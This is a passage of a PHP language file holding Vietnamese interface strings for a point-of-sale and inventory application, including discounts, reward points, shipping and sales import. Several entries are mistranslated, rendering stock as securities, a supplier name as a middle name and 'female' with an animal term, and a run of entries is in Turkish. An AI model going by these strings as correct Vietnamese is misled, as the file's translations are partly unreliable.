'Tải thêm', 'cash_flow' => 'Dòng tiền', 'subscribe' => 'Theo dõi', 'subscription_interval' => 'Khoảng thời gian đăng ký', 'enable_subscription' => 'Cho phép đăng ký', 'subscription_no' => 'Số đăng ký', 'start_subscription' => 'Bắt đầu đăng ký', 'stop_subscription' => 'Dừng đăng ký', 'subscriptions' => 'Đăng ký', 'generated_invoices' => 'Hóa đơn được tạo', 'last_generated' => 'Tạo lần cuối', 'upcoming_invoice' => 'Hóa đơn sắp tới', 'total_sales_return' => 'Tổng trả hàng bán', 'subscription_invoice' => 'Hóa đơn đăng ký', 'subscribed_invoice' => 'Hóa đơn đã đăng ký', 'view_document' => 'Xem tài liệu', 'invoice_url_help' => 'Liên kết để xem hóa đơn mà không cần đăng nhập.', 'unit_cannot_be_deleted' => 'Sản phẩm tồn tại với đơn vị này; Không thể xóa', 'expiry_date_in_business_date_format' => 'Ngày hết hạn chứng khoán ở <b> Định dạng ngày kinh doanh </b>', 'deactivate_selected' => 'Vô hiệu hóa', 'products_deactivated_success' => 'Sản phẩm đã hủy kích hoạt thành công', 'deactive_product_tooltip' => 'Các sản phẩm đã hủy kích hoạt sẽ không có sẵn để mua hoặc bán', 'reactivate' => 'Reactivate', 'allow_overselling' => 'Bán vượt tồn kho', 'allow_overselling_help' => 'Kiểm tra trường này để cho phép một sản phẩm bán nhiều hơn số lượng có sẵn. Số lượng bán quá mức sẽ được điều chỉnh tự động từ cổ phiếu trong tương lai.', 'discounts' => 'Giảm giá', 'all_your_discounts' => 'Tất cả giảm giá của bạn', 'priority' => 'Sự ưu tiên', 'add_discount' => 'Thêm giảm giá', 'starts_at' => 'Bắt đầu', 'ends_at' => 'Kết thúc', 'applicable_in_cpg' => 'Áp dụng trong nhóm giá bán', 'applicable_in_cg' => 'Áp dụng trong nhóm khách hàng', 'is_active' => 'Đang hoạt động', 'discount_priority_help' => 'Giảm giá với mức độ ưu tiên cao hơn sẽ có trọng số cao hơn, tuy nhiên mức độ ưu tiên sẽ không được xem xét cho các trận đấu chính xác', 'inactive' => 'Không hoạt động', 'applied_discount_text' => 'Giảm giá: <i>:discount_name </i> được áp dụng (Kết thúc tại: <i>:end_at </i>)', 'discount.access' => 'Thêm / Chỉnh sửa / Xóa Giảm giá', 'product_stock_details' => 'Chi tiết chứng khoán sản phẩm', 'search' => 'Tìm kiếm', 'total_sold' => 'Tổng số đã bán', 'total_stock_available' => 'Tổng số cổ phiếu có sẵn', 'total_stock_transfered_to_the_location' => 'Tổng số cổ phiếu được chuyển đến vị trí', 'total_stock_transfered_from_the_location' => 'Tổng số cổ phiếu được chuyển từ vị trí', 'total_stock_calculated' => 'Tổng số cổ phiếu được tính', 'adjust_stock_mismatch' => 'Điều chỉnh không khớp chứng khoán', 'opening_balance_payments' => 'Thanh toán số dư đầu kỳ', 'enable_service_staff_in_product_line' => 'Cho phép nhân viên phục vụ trong dòng sản phẩm', 'inline_service_staff_tooltip' => 'Nếu được bật, các nhân viên dịch vụ khác nhau có thể được chỉ định cho các sản phẩm khác nhau cho một đơn đặt hàng / bán', 'line_orders' => 'Đơn hàng', 'total_tax' => 'Tổng thuế', 'total_discount' => 'Tổng khấu trừ', 'net_price' => 'Giá ròng', 'select_same_for_all_rows' => 'Chọn cùng một giá trị cho tất cả các sản phẩm', 'edited' => 'Đã chỉnh sửa', 'by' => 'Bằng', 'upload_documents' => 'Tải lên Tài liệu', 'documents' => 'Các tài liệu', 'click_to_print' => 'Bấm để in', 'deactivated_success' => 'Vô hiệu hóa thành công', 'products_could_not_be_deleted' => 'Một số sản phẩm không thể bị xóa vì nó có các giao dịch liên quan đến nó.', 'price' => 'Giá bán', 'auto_backup_instruction' => 'Để kích hoạt sao lưu tự động và làm sạch sao lưu, bạn phải thiết lập một công việc cron với lệnh này', 'gross_profit' => 'Lợi nhuận gộp', 'single' => 'Độc thân', 'variable' => 'Biến', 'total_purchase_price' => 'Tổng giá mua', 'total_sell_price' => 'Tổng giá bán', 'packing_slip' => 'Phiếu đóng gói', 'use_superadmin_email_settings' => 'Sử dụng cấu hình email hệ thống', 'profit_by_products' => 'Lợi nhuận theo sản phẩm', 'profit_by_categories' => 'Lợi nhuận theo danh mục', 'profit_by_brands' => 'Lợi nhuận theo nhãn hiệu', 'profit_by_locations' => 'Lợi nhuận theo địa điểm', 'profit_by_invoice' => 'Lợi nhuận bằng hóa đơn', 'profit_by_date' => 'Lợi nhuận theo ngày', 'uncategorized' => 'Chưa phân loại', 'add_purchase_return' => 'Thêm lợi nhuận mua hàng', 'edit_purchase_return' => 'Chỉnh sửa lợi nhuận mua hàng', 'purchase_return_updated_success' => 'Hoàn trả mua hàng được cập nhật thành công', 'profit_by_customer' => 'Lợi nhuận của khách hàng', 'profit_by_day' => 'Lợi nhuận theo ngày', 'sunday' => 'Chủ nhật', 'monday' => 'Thứ hai', 'tuesday' => 'Thứ ba', 'wednesday' => 'Thứ tư', 'thursday' => 'Thứ năm', 'friday' => 'Thứ sáu', 'saturday' => 'Ngày thứ bảy', 'show_product_image' => 'Hiển thị hình ảnh sản phẩm', 'view_user' => 'Xem người dùng', 'allow_selected_contacts' => 'Cho phép danh bạ được chọn', 'allow_selected_contacts_tooltip' => 'Chỉ cho phép truy cập vào các liên hệ được chọn trong hộp tìm kiếm bán / mua của khách hàng / nhà cung cấp', 'allowed_contacts' => 'Liên hệ được phép', 'view_purchase_price' => 'Xem giá mua', 'view_purchase_price_tooltip' => 'Quyền xem giá mua trong chi tiết sản phẩm, chuyển kho và điều chỉnh kho', 'created' => 'Tạo', 'updated' => 'Đã cập nhật', 'deleted' => 'Đã xóa', 'day' => 'Ngày', 'is_service_staff_required' => 'Có yêu cầu nhân viên phục vụ', 'items_report' => 'Báo cáo mục', 'purchase_price' => 'Giá mua', 'sell_date' => 'Ngày bán', 'returned' => 'trả lại', 'dob' => 'Ngày sinh', 'married' => 'Cưới nhau', 'unmarried' => 'Chưa kết hôn', 'marital_status' => 'Tình trạng hôn nhân', 'blood_group' => 'Nhóm máu', 'divorced' => 'Ly hôn', 'contact_no' => 'Số liên lạc', 'fb_link' => 'Đường dẫn Facebook', 'twitter_link' => 'Liên kết Twitter', 'social_media' => 'Phương tiện truyền thông xã hội :number', 'permanent_address' => 'Địa chỉ thường trú', 'current_address' => 'Địa chỉ hiện tại', 'guardian_name' => 'Tên người giám hộ', 'custom_field' => 'Trường tùy chỉnh :number', 'bank_details' => 'Thông tin chi tiết ngân hàng', 'account_holder_name' => 'Tên Chủ tài khoản của', 'account_number' => 'Số tài khoản', 'bank_name' => 'Tên ngân hàng', 'bank_code' => 'Mã định dạng ngân hàng', 'bank_code_help' => 'Một mã duy nhất để xác định ngân hàng ở quốc gia của bạn, ví dụ: mã IFSC', 'branch' => 'Chi nhánh', 'tax_payer_id' => 'ID người nộp thuế', 'tax_payer_id_help' => 'Id số thuế của nhân viên, ví dụ, thẻ PAN ở Ấn Độ', 'more_info' => 'Thông tin thêm', 'id_proof_name' => 'Tên bằng chứng ID', 'id_proof_number' => 'Số chứng minh thư', 'view_own_sell_only' => 'Chỉ xem bán riêng', 'reward_point_settings' => 'Cài đặt điểm thưởng', 'enable_rp' => 'Kích hoạt điểm thưởng', 'rp_name' => 'Tên hiển thị điểm thưởng', 'amount_for_unit_rp' => 'Số tiền chi cho điểm đơn vị', 'min_order_total_for_rp' => 'Tổng số đơn hàng tối thiểu để kiếm phần thưởng', 'max_rp_per_order' => 'Điểm tối đa cho mỗi đơn hàng', 'earning_points_setting' => 'Cài đặt điểm kiếm tiền', 'redeem_points_setting' => 'Đổi điểm cài đặt', 'redeem_amount_per_unit_rp' => 'Đổi số tiền trên mỗi đơn vị điểm', 'min_order_total_for_redeem' => 'Tổng số đơn đặt hàng tối thiểu để đổi điểm', 'min_redeem_point' => 'Điểm đổi thưởng tối thiểu', 'max_redeem_point' => 'Điểm đổi thưởng tối đa cho mỗi đơn hàng', 'rp_expiry_period' => 'Thời hạn hết hạn thưởng', 'redeemed_amount' => 'Số tiền đã đổi', 'max_points_used' => 'Tối đa :points có thể được sử dụng', 'reward_points' => 'Điểm thưởng', 'max_reward_point_available' => 'Tối đa :name có sẵn', 'min_reward_points_used' => 'Tối thiểu :name có thể được sử dụng', 'redeemed' => 'Đã chuộc lại', 'available' => 'Có sẵn', 'earned' => 'Kiếm được', 'total_reward_amount' => 'Tổng số phần thưởng của khách hàng', 'ledger' => 'Sổ cái', 'type' => 'Kiểu', 'show_payments' => 'Hiển thị thanh toán', 'variation_images' => 'Hình ảnh biến thể', 'file_deleted_successfully' => 'Tệp đã được xóa thành công', 'combo' => 'Combo', 'not_for_selling' => 'Không phải để bán', 'tooltip_not_for_selling' => 'Nếu được chọn, sản phẩm sẽ không được hiển thị trong màn hình bán hàng cho mục đích bán.', 'show_reward_point' => 'Hiển thị điểm thưởng', 'enable_booking' => 'Kích hoạt đặt chỗ', 'bulk_edit' => 'Chỉnh sửa hàng loạt', 'bulk_edit_products' => 'Chỉnh sửa hàng loạt sản phẩm', 'search_product_to_edit' => 'Tìm kiếm sản phẩm để chỉnh sửa', 'related_sub_units' => 'Đơn vị phụ liên quan', 'sub_units_tooltip' => 'Dựa trên Đơn vị được chọn, nó sẽ hiển thị các đơn vị phụ cho đơn vị đó. Chọn đơn vị phụ áp dụng. Để trống nếu tất cả các đơn vị phụ được áp dụng cho sản phẩm.', 'enable_sub_units' => 'Kích hoạt các đơn vị phụ', 'added_on' => 'Đã thêm vào', 'quantity_mismatch_exception' => 'LRI: KHÔNG ĐƯỢC PHÉP: Không khớp giữa số lượng bán và số lượng có sẵn. Sản phẩm : :product', 'roles_and_permissions' => 'Vai trò và quyền', 'admin_role_location_permission_help' => 'Quản trị viên có thể truy cập tất cả các vị trí', 'edit_product_price_from_pos_screen' => 'Chỉnh sửa giá sản phẩm từ màn hình POS', 'edit_product_discount_from_pos_screen' => 'Chỉnh sửa giảm giá sản phẩm từ màn hình POS', 'download_template_file' => 'Tải xuống tệp mẫu', 'types_of_service' => 'Các loại dịch vụ', 'add_type_of_service' => 'Thêm loại dịch vụ', 'packing_charge_type' => 'Loại phí đóng gói', 'packing_charge' => 'Phí đóng gói', 'enable_custom_fields' => 'Bật các trường tùy chỉnh', 'edit_type_of_service' => 'Chỉnh sửa loại dịch vụ', 'types_of_service_help' => 'Loại dịch vụ có nghĩa là các dịch vụ như ăn tối, bưu kiện, giao hàng tận nhà, giao hàng cho bên thứ ba, v.v.', 'select_types_of_service' => 'Chọn loại dịch vụ', 'service_custom_field_1' => 'Trường tùy chỉnh 1', 'service_custom_field_2' => 'Trường tùy chỉnh 2', 'service_custom_field_3' => 'Trường tùy chỉnh 3', 'service_custom_field_4' => 'Trường tùy chỉnh 4', 'default_selling_price_group' => 'Nhóm giá bán mặc định', 'location_price_group_help' => 'Nhóm giá này sẽ được sử dụng làm nhóm giá mặc định ở vị trí này.', 'default_accounts' => 'Tài khoản mặc định', 'product_location_help' => 'Vị trí nơi sản phẩm sẽ có sẵn.', 'available_in_locations' => 'Có sẵn tại các địa điểm', 'enable' => 'Bật', 'payment_options' => 'Các lựa chọn thanh toán', 'pay_reference_no' => 'Trả tiền tham khảo số.', 'search_settings' => 'Thiết lập tìm kiếm', 'custom_labels' => 'Nhãn tùy chỉnh', 'labels_for_custom_payments' => 'Nhãn cho thanh toán tùy chỉnh', 'packed' => 'Đóng gói', 'shipped' => 'Đã giao hàng', 'delivered' => 'Đã giao hàng', 'shipping_address' => 'Địa chỉ giao hàng', 'shipping_status' => 'Tình trạng giao hàng', 'delivered_to' => 'Đã giao', 'edit_shipping' => 'Chỉnh sửa vận chuyển', 'shipments' => 'Lô hàng', 'access_shipping' => 'Truy cập vận chuyển', 'uploaded_by' => 'Được tải lên bởi', 'account_types' => 'Các loại tài khoản', 'add_account_type' => 'Thêm loại tài khoản', 'parent_account_type' => 'Loại tài khoản phụ huynh', 'edit_account_type' => 'Chỉnh sửa loại tài khoản', 'account_type' => 'Kiểu tài khoản', 'account_sub_type' => 'Loại phụ tài khoản', 'enable_updating_product_price_tooltip' => 'Nếu giá mua sản phẩm được kích hoạt và giá bán sẽ được cập nhật sau khi mua hoặc thêm cập nhật', 'default_datatable_page_entries' => 'Các mục trang có thể truy cập mặc định', 'product_not_found_exception' => 'Sản phẩm có SKU :sku không tìm thấy trên hàng :row', 'price_group_not_found_exception' => 'Nhóm giá có tên :pg không tìm thấy trên hàng :row', 'price_group_non_numeric_exception' => 'Giá không tìm thấy trên hàng :row', 'total_stock_price' => 'Giá trị cổ phiếu hiện tại', 'test_email_configuration' => 'Gửi email kiểm tra', 'email_tested_successfully' => 'Cấu hình email được xác minh thành công', 'test_number' => 'Bài kiểm tra số', 'test_sms_configuration' => 'Gửi SMS kiểm tra', 'test_number_is_required' => 'Số kiểm tra là bắt buộc', 'import_contact_type_ins' => 'Tùy chọn khả dụng: <strong> <br> 1 = Khách hàng, <br> 2 = Nhà cung cấp <br> 3 = Cả hai </strong>', 'enable_pos_transaction_date' => 'Kích hoạt ngày giao dịch trên màn hình POS', 'amount_for_unit_rp_tooltip' => '<Strong> Có nghĩa là khách hàng đã chi bao nhiêu để nhận được một điểm thưởng. </strong> <br> <br> <strong> Ví dụ: </strong> Nếu bạn đặt nó là 10, thì cứ 10 đô la thì khách hàng sẽ chi sẽ nhận được một điểm thưởng. Nếu khách hàng mua 1000 đô la thì họ sẽ nhận được 100 điểm thưởng. ', 'max_rp_per_order_tooltip' => 'Điểm thưởng tối đa khách hàng có thể kiếm được trong một hóa đơn. Hãy để trống nếu bạn không muốn có bất kỳ hạn chế nào như vậy.', 'min_order_total_for_rp_tooltip' => '<Strong> Số tiền tối thiểu khách hàng nên bỏ ra để nhận điểm thưởng. </strong> <br> <br> <strong> Ví dụ: </strong> Nếu bạn đặt nó là 100 thì khách hàng sẽ chỉ nhận được điểm thưởng nếu có tổng hóa đơn lớn hơn hoặc bằng 100. Nếu tổng hóa đơn là 99 thì họ sẽ không nhận được bất kỳ điểm thưởng nào. <br> <br> Bạn có thể đặt tối thiểu 1. ', 'redeem_amount_per_unit_rp_tooltip' => '<Strong> Nó cho biết số tiền quy đổi cho mỗi điểm. </strong> <br> <br> <strong> Ví dụ: </strong> Nếu 1 điểm là $ 1 thì nhập giá trị là 1. Nếu 2 điểm là $ 1 thì nhập giá trị là 0,5 ', 'min_order_total_for_redeem_tooltip' => 'Tổng số đơn đặt hàng tối thiểu mà khách hàng có thể đổi điểm. Hãy để trống nếu bạn không cần hạn chế này hoặc bạn cần cung cấp một cái gì đó miễn phí.', 'min_redeem_point_tooltip' => 'Điểm thưởng tối thiểu có thể được sử dụng cho mỗi hóa đơn. Hãy để trống nếu bạn không cần hạn chế này.', 'max_redeem_point_tooltip' => 'Điểm tối đa có thể được sử dụng trong một đơn hàng. Hãy để trống nếu bạn không cần Hạn chế này.', 'rp_expiry_period_tooltip' => '<strong> Thời hạn hết hạn đối với các điểm mà khách hàng kiếm được. </strong> <br> <br> Bạn có thể đặt nó theo tháng hoặc năm. Điểm hết hạn sẽ tự động bị trừ khỏi tài khoản của khách hàng sau khoảng thời gian này.', 'configure_product_search' => 'Định cấu hình tìm kiếm sản phẩm', 'search_products_by' => 'Tìm kiếm sản phẩm theo', 'credit_sales' => 'Bán hàng tín dụng', 'total_payment' => 'Tổng tiền thanh toán', 'deactivate_location' => 'Vô hiệu hóa vị trí', 'activate_location' => 'Kích hoạt vị trí', 'business_location_activated_successfully' => 'Địa điểm kinh doanh được kích hoạt thành công', 'business_location_deactivated_successfully' => 'Địa điểm kinh doanh đã hủy kích hoạt thành công', 'show_credit_sale_button' => 'Hiển thị nút bán tín dụng', 'show_credit_sale_btn_help' => 'Nếu nút bán tín dụng được bật sẽ được hiển thị thay cho nút Thẻ trên màn hình pos', 'credit_sale' => 'Bán tín dụng', 'tooltip_credit_sale' => 'Thanh toán dưới dạng bán tín dụng', 'add_as_sub_txonomy' => 'Thêm dưới dạng phân loại phụ', 'select_parent_taxonomy' => 'Chọn phân loại chính', 'warranty' => 'Sự bảo đảm', 'warranties' => 'Bảo hành', 'all_warranties' => 'Tất cả bảo hành', 'add_warranty' => 'Thêm bảo hành', 'duration' => 'Thời lượng', 'edit_warranty' => 'Chỉnh sửa bảo hành', 'enable_product_warranty' => 'Kích hoạt bảo hành', 'warranty_ends_on' => 'Bảo hành kết thúc vào', 'restaurant_module_settings' => 'Cài đặt mô-đun nhà hàng', 'warranty_module_settings' => 'Cài đặt mô-đun bảo hành', 'show_warranty_name' => 'Hiển thị tên bảo hành', 'show_warranty_exp_date' => 'Hiển thị ngày hết hạn bảo hành', 'show_warranty_description' => 'Hiển thị mô tả bảo hành', 'gender' => 'Giới tính', 'male' => 'Nam giới', 'female' => 'Giống cái', 'others' => 'Khác', 'recent_transactions' => 'Giao dịch gần đây', 'add_row' => 'Thêm dòng', 'add_widget_here' => 'Thêm tiện ích ở đây', 'move_row' => 'Di chuyển hàng', 'configure_dashboard' => 'Định cấu hình Trang tổng quan :name', 'change_return_label' => 'Thay đổi nhãn trả lại', 'change_return_help' => 'Lợi nhuận thay đổi là số tiền được trả lại cho khách hàng nếu thanh toán vượt quá được thực hiện.', 'profile_photo' => 'Ảnh hồ sơ', 'upload_image' => 'Tải lên hình ảnh', 'expense_tax' => 'Thuế chi phí', 'expense_tax_tooltip' => 'Tổng số thuế phải trả cho chi phí kinh doanh trong khoảng thời gian đã chọn', 'tax_overall' => 'Tổng thể (Đầu vào - Đầu ra - Chi phí)', 'overdue' => 'Quá hạn', 'partial-overdue' => 'Quá hạn một phần', 'due_date_label' => 'Nhãn ngày đáo hạn', 'show_due_date' => 'Hiển thị ngày đáo hạn', 'contact_custom_field1' => 'Trường tùy chỉnh 1', 'contact_custom_field2' => 'Trường tùy chỉnh 2', 'contact_custom_field3' => 'Trường tùy chỉnh 3', 'contact_custom_field4' => 'Trường tùy chỉnh 4', 'added_by' => 'Đã thêm bởi', 'authorized_signatory' => 'Ký Ủy quyền', 'no_location_access_found' => 'Không tìm thấy vị trí truy cập', 'location_custom_field1' => 'Trường tùy chỉnh 1', 'location_custom_field2' => 'Trường tùy chỉnh 2', 'location_custom_field3' => 'Trường tùy chỉnh 3', 'location_custom_field4' => 'Trường tùy chỉnh 4', 'user_custom_field1' => 'Trường tùy chỉnh 1', 'user_custom_field2' => 'Trường tùy chỉnh 2', 'user_custom_field3' => 'Trường tùy chỉnh 3', 'user_custom_field4' => 'Trường tùy chỉnh 4', 'logo_not_work_in_sms' => 'Logo doanh nghiệp sẽ không hoạt động trong SMS', 'notification_email_tooltip' => 'Chuỗi email người nhận được phân tách bằng dấu phẩy', 'heading' => 'Tiêu đề', 'updated_at' => 'Cập nhật tại', 'documents_and_notes' => 'Tài liệu & Ghi chú', 'add_note' => 'Thêm ghi chú', 'edit_note' => 'Chỉnh sửa ghi chú', 'is_private' => 'Là riêng tư?', 'private' => 'Riêng tư', 'documents' => 'Các tài liệu', 'note_will_be_visible_to_u_only' => 'Lưu ý & tài liệu sẽ chỉ hiển thị cho bạn', 'activities' => 'Hoạt động', 'no_limit' => 'Không giới hạn', 'contains_media' => 'Ghi chú này chứa phương tiện truyền thông', 'private_note' => 'Đây là ghi chú riêng tư', 'amount_rounding_method' => 'Phương pháp làm tròn số tiền', 'round_to_nearest_whole_number' => 'Làm tròn đến số nguyên gần nhất', 'round_to_nearest_decimal' => 'Làm tròn đến số thập phân gần nhất (bội số :multiple)', 'amount_rounding_method_help' => 'Ví dụ: <br> <b> Làm tròn đến số nguyên gần nhất: </ b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <b> Làm tròn đến số thập phân gần nhất (bội số 0,05): </b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'Làm tròn số', 'round_off_label' => 'Làm tròn nhãn', 'total_sell_round_off' => 'Tổng số vòng bán ra', 'user_info' => 'Thông tin người dùng', 'enable_weighing_scale' => 'Kích hoạt cân nặng', 'weighing_scale_setting' => 'Cân thiết lập mã vạch', 'weighing_scale_setting_help' => 'Định cấu hình mã vạch theo thang cân của bạn.', 'weighing_barcode_prefix' => 'Tiếp đầu ngữ', 'weighing_product_sku_length' => 'Chiều dài sản phẩm', 'weighing_qty_integer_part_length' => 'Số lượng phần nguyên dài', 'weighing_qty_fractional_part_length' => 'Số lượng phần dài phân đoạn', 'weighing_scale' => 'Cân nặng', 'weighing_scale_barcode' => 'Cân mã vạch quy mô', 'weighing_scale_barcode_help' => 'Quét mã vạch từ cân bán và gửi', 'prefix_did_not_match' => 'Tiền tố không khớp', 'sku_not_match' => 'Không tìm thấy sản phẩm nào với sku :sku', 'total_quantity_label' => 'Tổng số lượng nhãn', 'account_summary' => 'Tóm tắt tài khoản', 'ledger_table_heading' => 'Hiển thị tất cả hóa đơn và thanh toán giữa :start_date và :end_date', 'beginning_balance' => 'Số dư bắt đầu', 'total_invoice' => 'Tổng hóa đơn', 'balance_due' => 'Số dư do', 'send_ledger' => 'Gửi sổ cái', 'notifications' => 'Thông báo', 'ledger_attacment_help' => 'Sổ cái sẽ được đính kèm ở định dạng PDF với email này', 'upload_module' => 'Mô-đun tải lên', 'upload' => 'Tải lên', 'pls_upload_valid_zip_file' => 'Vui lòng tải lên một tệp zip hợp lệ.', 'import_sales' => 'Nhập khẩu bán hàng', 'preview_imported_sales' => 'Xem trước doanh số nhập khẩu', 'customer_phone_number' => 'Số điện thoại khách hàng', 'customer_email' => 'Email của khách hàng', 'item_tax' => 'Thuế mặt hàng', 'item_discount' => 'Giảm giá mặt hàng', 'item_description' => 'Mô tả món hàng', 'order_total' => 'Tổng số đơn hàng', 'upload_and_review' => 'Tải lên và đánh giá', 'group_sale_line_by' => 'Nhóm bán hàng theo', 'import_sale_product_not_found' => 'Sản phẩm có tên :product_name hoặc sku :sku không tìm thấy trong hàng :row', 'import_sale_tax_not_found' => 'Thuế có tên :tax_name không được tìm thấy trong hàng :row', 'email_or_phone_required' => 'Cần có điện thoại hoặc email của khách hàng', 'product_name_or_sku_is_required' => 'Tên sản phẩm hoặc SKU là bắt buộc', 'quantity_is_required' => 'Số lượng là bắt buộc', 'unit_price_is_required' => 'Đơn giá là bắt buộc', 'sales_imported_successfully' => 'Bán hàng nhập thành công', 'upload_data_in_excel_format' => 'Tải lên dữ liệu bán hàng ở định dạng excel', 'map_columns_with_respective_sales_fields' => 'Chọn các lĩnh vực bán hàng tương ứng cho mỗi cột', 'choose_location_and_group_by' => 'Chọn địa điểm kinh doanh và cột theo đó các dòng bán sẽ được nhóm lại', 'date_format_instruction' => "Định dạng thời gian ngày bán phải là 'Y-m-d H:i:s' (2020-07-15 17:45:32)", 'product_name_single_only' => 'Tên sản phẩm (Chỉ sản phẩm đơn hoặc kết hợp)', 'product_sku' => 'SKU sản phẩm', 'product_unit' => 'Đơn vị sản phẩm', 'import_sale_unit_not_found' => 'Đơn vị có tên :unit_name không tìm thấy trong hàng :row', 'types_of_servicet_not_found' => 'Các loại dịch vụ có tên :type_of_service_name không được tìm thấy trong hàng :row', 'email_or_phone_cannot_be_empty_in_row' => 'Yêu cầu điện thoại hoặc email của khách hàng theo hàng :row', 'product_cannot_be_empty_in_row' => 'Tên sản phẩm hoặc SKU sản phẩm được yêu cầu trong hàng :row', 'quantity_cannot_be_empty_in_row' => 'Số lượng sản phẩm được yêu cầu trong hàng :row', 'unit_price_cannot_be_empty_in_row' => 'Đơn giá được yêu cầu trong hàng :row', 'imports' => 'Nhập khẩu', 'invoices' => 'Hóa đơn', 'import_batch' => 'Nhập lô', 'import_time' => 'Thời gian nhập', 'cannot_select_a_field_twice' => 'Bạn không thể chọn một trường hai lần', 'revert_import' => 'Hoàn nguyên nhập khẩu', 'import_reverted_successfully' => 'Nhập hoàn nguyên thành công', 'importable_fields' => 'Trường nhập khẩu', 'sort_order' => 'Thứ tự sắp xếp', 'total_returned' => 'Tổng số đã trả lại', 'skip' => 'NHẢY', 'group_by_tooltip' => 'Cột để nhóm các dòng bán trong cùng một hóa đơn', 'allowed_file' => 'Tệp được phép', 'detailed_with_purchase' => 'Chi tiết (Có mua hàng)', 'supplier_name' => 'Tên đệm', 'purchase_ref_no' => 'Mua ref số.', 'save_and_print' => 'Lưu và in', 'update_and_print' => 'Cập nhật và in', 'all_your_discounts' => 'Tất cả giảm giá của bạn', 'priority' => 'Sự ưu tiên', 'starts_at' => 'Bắt đầu tại', 'ends_at' => 'Kết thúc vào', 'used_for_browser_based_printing' => 'Được sử dụng để in dựa trên trình duyệt', 'hsn_or_category_code' => 'Mã HSN hoặc Mã danh mục', 'discounts' => 'Giảm giá', 'allow_overselling' => 'Cho phép bán quá mức', 'view_own_purchase' => 'Chỉ xem mua hàng riêng', 'view_own_expense' => 'Chỉ xem chi phí riêng', 'allow_login' => 'Cho phép đăng nhập', 'login_not_allowed' => 'Đăng nhập không được phép', 'labels_for_contact_custom_fields' => 'Nhãn cho các trường tùy chỉnh liên hệ', 'labels_for_product_custom_fields' => 'Nhãn cho các trường tùy chỉnh sản phẩm', 'labels_for_purchase_custom_fields' => 'Nhãn cho các lĩnh vực yêu cầu mua hàng', 'labels_for_sell_custom_fields' => 'Nhãn để bán các trường tùy chỉnh', 'labels_for_location_custom_fields' => 'Nhãn cho các trường tùy chỉnh vị trí', 'labels_for_types_of_service_custom_fields' => 'Nhãn cho các loại trường tùy chỉnh dịch vụ', 'labels_for_user_custom_fields' => 'Nhãn cho trường tùy chỉnh của người dùng', 'total_transfer_shipping_charge' => 'Tổng phí vận chuyển', 'total_purchase_shipping_charge' => 'Tổng phí vận chuyển mua hàng', 'total_sell_shipping_charge' => 'Tổng phí bán hàng vận chuyển', 'opening_stock_location' => 'Mở vị trí chứng khoán', 'product_locations_ins' => 'Chuỗi tên vị trí doanh nghiệp được phân tách bằng dấu phẩy nơi sản phẩm sẽ có sẵn', 'product_locations' => 'Địa điểm sản phẩm', 'view_products' => 'Xem sản phẩm', 'pos_screen_featured_products' => 'Màn hình POS Sản phẩm nổi bật', 'featured_products_help' => 'Các sản phẩm được chọn sẽ được hiển thị trên đầu đề xuất sản phẩm màn hình pos để truy cập nhanh', 'purchase_report' => 'Báo cáo mua hàng', 'sale_report' => 'Báo cáo bán hàng', 'payment_date' => 'Ngày thanh toán', 'year_month' => 'Năm tháng', 'lead' => 'Chì', 'featured_products' => 'Sản phẩm nổi bật', 'repeat_on' => 'Lặp lại', 'access_tables' => 'Bảng truy cập', 'access_printers' => 'Máy in truy cập', 'access_types_of_service' => 'Truy cập các loại dịch vụ', 'search_address' => 'Địa chỉ tìm kiếm', 'contact_locations' => 'Địa điểm liên hệ', 'map' => 'Bản đồ', 'both_customer_and_supplier' => 'Cả khách hàng & nhà cung cấp', 'service' => 'Dịch vụ', 'either_cust_email_or_phone_required' => 'Yêu cầu id email của khách hàng hoặc số điện thoại', 'either_product_name_or_sku_required' => 'Tên sản phẩm (chỉ dành cho đơn và kết hợp) hoặc yêu cầu sku sản phẩm', 'show_invoice_scheme' => 'Hiển thị lược đồ hóa đơn', 'select_invoice_scheme' => 'Chọn lược đồ hóa đơn', 'recurring_expense_help' => 'Nếu được kiểm tra, chi phí này sẽ được tạo tự động theo định kỳ.', 'recur_interval' => 'Khoảng định kỳ', 'recur_expense_repetition_help' => 'Nếu chi phí trống sẽ được tạo ra vô số lần', 'recurring_expense_message' => 'Đã tạo chi phí định kỳ mới. Số tham chiếu: <i>:ref_no </i>', 'recurring_expense' => 'Chi phí định kỳ', 'generated_recurring_expense' => 'Chi phí định kỳ đã tạo', 'select_contacts' => 'Chọn địa chỉ liên hệ', 'middle_name' => 'Tên đệm', 'address_line_1' => 'Dòng địa chỉ 1', 'address_line_2' => 'Địa chỉ 2', 'dob' => 'Ngày sinh', 'dob_ins' => 'Định dạng Y-m-d', 'by_purchase_price' => 'Theo giá mua', 'by_sale_price' => 'Theo giá bán', 'potential_profit' => 'Lợi nhuận tiềm năng', 'apply_all' => 'Áp dụng tất cả', 'hide_all_prices' => 'Tüm fiyatları gizle', 'select_invoice_layout' => 'Fatura düzenini seçin', 'max_sales_discount_percent' => 'Maks. Satış indirim yüzdesi', 'max_sales_discount_percent_help' => 'Bir kullanıcının satış sırasında verebileceği maksimum indirim yüzdesi. Kısıtlama olmadan boş bırakın', 'max_discount_error_msg' => 'Satış başına maks :discount% indirimi verebilirsiniz', 'show_invoice_layout' => 'Fatura düzeni açılır menüsünü göster', 'recurred_from' => 'Tekrarlanan', 'recur_details' => 'Yinelenen ayrıntılar', 'recurring' => 'Tekrarlanan', 'view_product_stock_value' => 'Ürün stok değerini görüntüle', 'added' => 'Đã thêm', 'disable_credit_sale_button' => 'Tắt nút bán tín dụng', 'pay' => 'Thanh toán', 'use_advance_balance' => 'Sử dụng số dư tạm ứng', 'advance' => 'Tạm ứng', 'advance_balance' => 'Số dư tạm ứng', 'advance_payment' => 'Thanh toán trước', 'required_advance_balance_not_available' => 'Số dư tạm ứng bắt buộc không khả dụng', 'in_transit' => 'Đang chuyển tuyến', 'edit_stock_transfer' => 'Chỉnh sửa Chuyển kho', 'completed_status_help' => 'Chuyển kho sẽ không thể chỉnh sửa nếu trạng thái đã hoàn tất', 'no_data' => 'Không có dữ liệu', 'sms_service' => 'Dịch vụ SMS', 'nexmo_key' => 'Nexmo Key', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Twilio Access Token', 'twilio_sid' => 'Twilio Account SID', 'upcoming' => 'Sắp tới', 'final' => 'Cuối cùng', 'expense_for_contact' => 'Chi phí liên hệ', 'create' => 'Tạo', 'waiting' => 'Đang chờ đợi', 'sms_settings_header_key' => 'Header: phím số', 'sms_settings_header_val' => 'Tiêu đề: giá trị số', 'stock_adjustment_details' => 